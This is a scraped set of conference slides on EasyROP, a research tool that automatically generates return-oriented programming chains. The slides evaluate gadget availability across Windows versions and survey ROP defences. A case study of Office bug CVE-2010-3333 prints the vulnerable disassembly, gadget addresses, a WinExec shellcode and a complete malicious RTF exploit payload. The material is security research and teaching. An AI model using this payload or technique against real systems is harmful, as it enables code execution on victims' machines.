  • 46. Executional Adversary Power in Windows OSes Evaluation Version 32-bit 64-bit Windows XP Windows 7 Windows 8.1 Windows 10 Summary of results shell32.dll + {ntdll.dll, kernel32.dll}: enough gadgets to conform all Turing-machine operations Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 26 / 41
  • 47. Executional Adversary Power in Windows OSes Evaluation Version 32-bit 64-bit Windows XP Windows 7 Windows 8.1 Windows 10 Summary of results shell32.dll + {ntdll.dll, kernel32.dll}: enough gadgets to conform all Turing-machine operations All operations but conditional jumps −→ 100 % in all OSes with just ntdll.dll!!! Conditional jumps are unusual operations when exploiting Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 26 / 41
  • 48. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 27 / 41
  • 49. Case Study: CVE-2010-3333 Microsoft Office vulnerability Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011 Disclosed in September 2010 Subsequently patched in MS10-087 (published in November 09, 2010) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
  • 50. Case Study: CVE-2010-3333 Microsoft Office vulnerability Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011 Disclosed in September 2010 Subsequently patched in MS10-087 (published in November 09, 2010) November 2012: attack to NATO’s Special Operations Headquarters Attack was delivered via spear phishing attaching a specially crafted Rich Text Format (RTF) document exploiting CVE-2010-333 RTF file starts with the tag “{rtf1” and consists of unformatted text, control words, control symbols, and groups enclosed in braces {rtf1{ .... {shp{sp{sn pFragments}{sv value}}} } } Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
  • 51. Case Study: CVE-2010-3333 Microsoft Office vulnerability Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011 Disclosed in September 2010 Subsequently patched in MS10-087 (published in November 09, 2010) November 2012: attack to NATO’s Special Operations Headquarters Attack was delivered via spear phishing attaching a specially crafted Rich Text Format (RTF) document exploiting CVE-2010-333 RTF file starts with the tag “{rtf1” and consists of unformatted text, control words, control symbols, and groups enclosed in braces {rtf1{ .... {shp{sp{sn pFragments}{sv value}}} } } Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 28 / 41
  • 52. Case Study: CVE-2010-3333 Stack-based BOF in function in charge of parsing RTF file Example: MSO.DLL 11.0.5606 MD5 251C11444F614DE5FA47ECF7275E7BF1 Microsoft Office 2003 suite 1 0x30f4cc5d push ebp 2 0x30f4cc5e mov ebp, esp 3 0x30f4cc60 sub esp, 0x14 4 (...) 5 0x30f4cc93 call dword [eax + 0x1c] ; calls to MSO.30e9eb62 6 0x30f4cc96 mov eax, dword [ebp + 0x14] 7 0x30f4cc99 push dword [ebp + 0x18] 8 0x30f4cc9c mov edx, dword [ebp - 0x10] 9 0x30f4cc9f neg eax 10 0x30f4cca1 sbb eax, eax 11 0x30f4cca3 lea ecx, [ebp - 8] 12 0x30f4cca6 and eax, ecx 13 0x30f4cca8 push eax 14 0x30f4cca9 push dword [ebp + 8] 15 0x30f4ccac call 0x30f4cb1d 16 0x30f4ccb1 test al, al 17 0x30f4ccb3 je 0x30f4cd51 18 (...) 19 0x30f4cd51 pop esi 20 0x30f4cd52 pop ebx 21 0x30f4cd53 pop edi 22 0x30f4cd54 leave 23 0x30f4cd55 ret 0x14 1 0x30e9eb62 push edi 2 0x30e9eb63 mov edi, dword [esp + 0xc] 3 0x30e9eb67 test edi, edi 4 0x30e9eb69 je 0x30e9eb92 5 0x30e9eb6b mov eax, dword [esp + 8] 6 0x30e9eb6f mov ecx, dword [eax + 8] 7 0x30e9eb72 and ecx, 0xffff 8 0x30e9eb78 push esi 9 0x30e9eb79 mov esi, ecx 10 0x30e9eb7b imul esi, dword [esp + 0x14] 11 0x30e9eb80 add esi, dword [eax + 0x10] 12 0x30e9eb83 mov eax, ecx 13 0x30e9eb85 shr ecx, 2 14 0x30e9eb88 rep movsd es:[edi], dword ptr [esi] 15 0x30e9eb8a mov ecx, eax 16 0x30e9eb8c and ecx, 3 17 0x30e9eb8f rep movsb es:[edi], byte ptr [esi] 18 0x30e9eb91 pop esi 19 0x30e9eb92 pop edi 20 0x30e9eb93 ret 0xc Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 29 / 41
  • 53. Case Study: CVE-2010-3333 Building the ROP chain We only need to pass to this function a zero value ¨ Assume that the function address is known After executing it, we can directly jump to our shellcode at the stack We need to know the address of esp value We could also jump to a ROP gadget containing a divert to the stack. . . Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 30 / 41
  • 54. Case Study: CVE-2010-3333 eax ???? ecx ???? edx ???? ebx 00000000 esp address3 ebp @SetProcessDEPPolicy() esi address1 edi address1 eip ???? esp → address1 (value of edi) address1 (value of esi) @SetProcessDEPPolicy() (value of ebp) address3 (value of esp) 00000000 (value of ebx) ???? (value of edx) ???? (value of ecx) ???? (value of eax) address3 → (exploit payload) (...) CPU state Stack state (before pushad) (after pushad) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 31 / 41
  • 55. Case Study: CVE-2010-3333 nop() lc(edi) lc(esi) lc(ebx) lc(ebp) pushad() Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
  • 56. Case Study: CVE-2010-3333 nop() lc(edi) lc(esi) lc(ebx) lc(ebp) pushad() MSO.DLL file as input No ASLR compatible ¨ Execution parameter depth 2 ∼ 72 seconds Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
  • 57. Case Study: CVE-2010-3333 nop() lc(edi) lc(esi) lc(ebx) lc(ebp) pushad() nop() ... 0x30c92448: ret lc(edi) ... 0x30cae25c: pop edi ; ret lc(esi) ... 0x30ca32fd: pop esi ; ret lc(ebx) ... 0x30ca3654: pop ebx ; ret lc(ebp) ... 0x30ca32d1: pop ebp ; ret pushad() ... 0x30ce03b5: pushal ; ret Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 32 / 41
  • 58. Case Study: CVE-2010-3333 1 33C0 xor eax, eax 2 50 push eax 3 6863616C63 push ’calc’ 4 8BC4 mov eax, esp 5 6A05 push 5 6 50 push eax 7 BFFDE53377 mov edi, kernel32.WinExec 8 FFD7 call edi 1 {rtf1{shp{sp{sn pFragments}{sv 1;4;010 2 0020000014141414141414141414141414141414141 3 4141414824c93000000000000000000000000000000 4 00000000000 5 5ce2ca30 6 4824c930 7 fd32ca30 8 4824c930 9 5436ca30 10 00000000 11 d132ca30 12 2f602e77 13 b503ce30 14 33c0506863616c638bc46a0550bffde53377ffd7}}}} Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 33 / 41
  • 59. Case Study: CVE-2010-3333 Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 33 / 41
  • 60. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 34 / 41
  • 61. Related Work ROP and Turing theory contributions (ask us for full references) S-CCS-07 thesis: In any sufficiently large body of x86 executable code, there will exist sufficiently many useful code sequences that an attacker [may] undertake [any] arbitrary computation shell32.dll: 21MB on Windows 10 (x86-64) – fair enough ¨ M-TechReport-08 Classification of ROP gadgets, according to where you return (ret2text, ret2bss, ret2data, ret2heap) CDDSSW-CCS-10 No need of retn instructions Jump-Oriented Programming (JOP): pop reg;jmp *reg RBSS-TISS-12 Set of Turing-complete gadgets for Linux/x86 and Solaris/SPARC BB-SP-14 Sigreturn-Oriented Programming (SROP). Turing-complete Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 35 / 41
  • 62. Related Work Solutions against ROP attacks (ask us for full references) Dynamic Binary Instrumentation (DBI) ROPDefender shadow stack DROP monitor of retn instructions (detects ROP gadgets ≤ 5 instructions) /ROP whitelisting legitimate return addresses ROPGuard monitoring Windows functions (CreateProcess, VirtualProtect, VirtualAlloc, LoadLibrary) kBouncer use of Intel LBR records Disjoint Code Layouts (DLC) execution and replication of multiple run-time variants of the same application under the control of a monitor Ask us for full references, if interested Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 36 / 41
  • 63. Related Work Other ROP-related tools (ask us for full references) Q: automatically generates ROP payloads in Linux (not Turing-complete) Braille (Ruby): creates automatically a shellcode for a particular target (namely, a Linux server) Defeats ASLR + stack cookies defenses Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 37 / 41
  • 64. Related Work Other ROP-related tools (ask us for full references) Q: automatically generates ROP payloads in Linux (not Turing-complete) Braille (Ruby): creates automatically a shellcode for a particular target (namely, a Linux server) Defeats ASLR + stack cookies defenses ROPgadget (Python): search for ROP gadgets in a given binary Ropper: similar to ROPgadget, allows to create predefined shellcodes Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 37 / 41
  • 65. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 38 / 41
  • 66. Conclusions EasyROP tool (https://github.com/uZetta27/EasyROP) Automates the construction of a ROP chain specified as Turing machine operations Allows user-defined operations using XML Existence of ROP gadgets determines the executional adversary power Roughly speaking, what can an adversary perform using ROP attacks? Evaluation of executional adversary power in different OSes More in 32-bit than in 64-bit systems Enough gadgets to conform all Turing-machine operations (shell32.dll + {ntdll.dll, kernel32.dll}) All operations but conditional jumps (ntdll.dll) Conditional jumps are unusual operations when exploiting Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 39 / 41
  • 67. Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 40 / 41
  • 68. When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets Daniel Uroz, Ricardo J. Rodríguez [email protected], [email protected] All wrongs reversed ZARAGOZA DO CENDI DISCEN DI NOS VN IT ANIM VS 2009 CENTRO UNIVERSITARIO DE LA DEFENS A March 01, 2018 RootedCON 2018 Madrid, Spain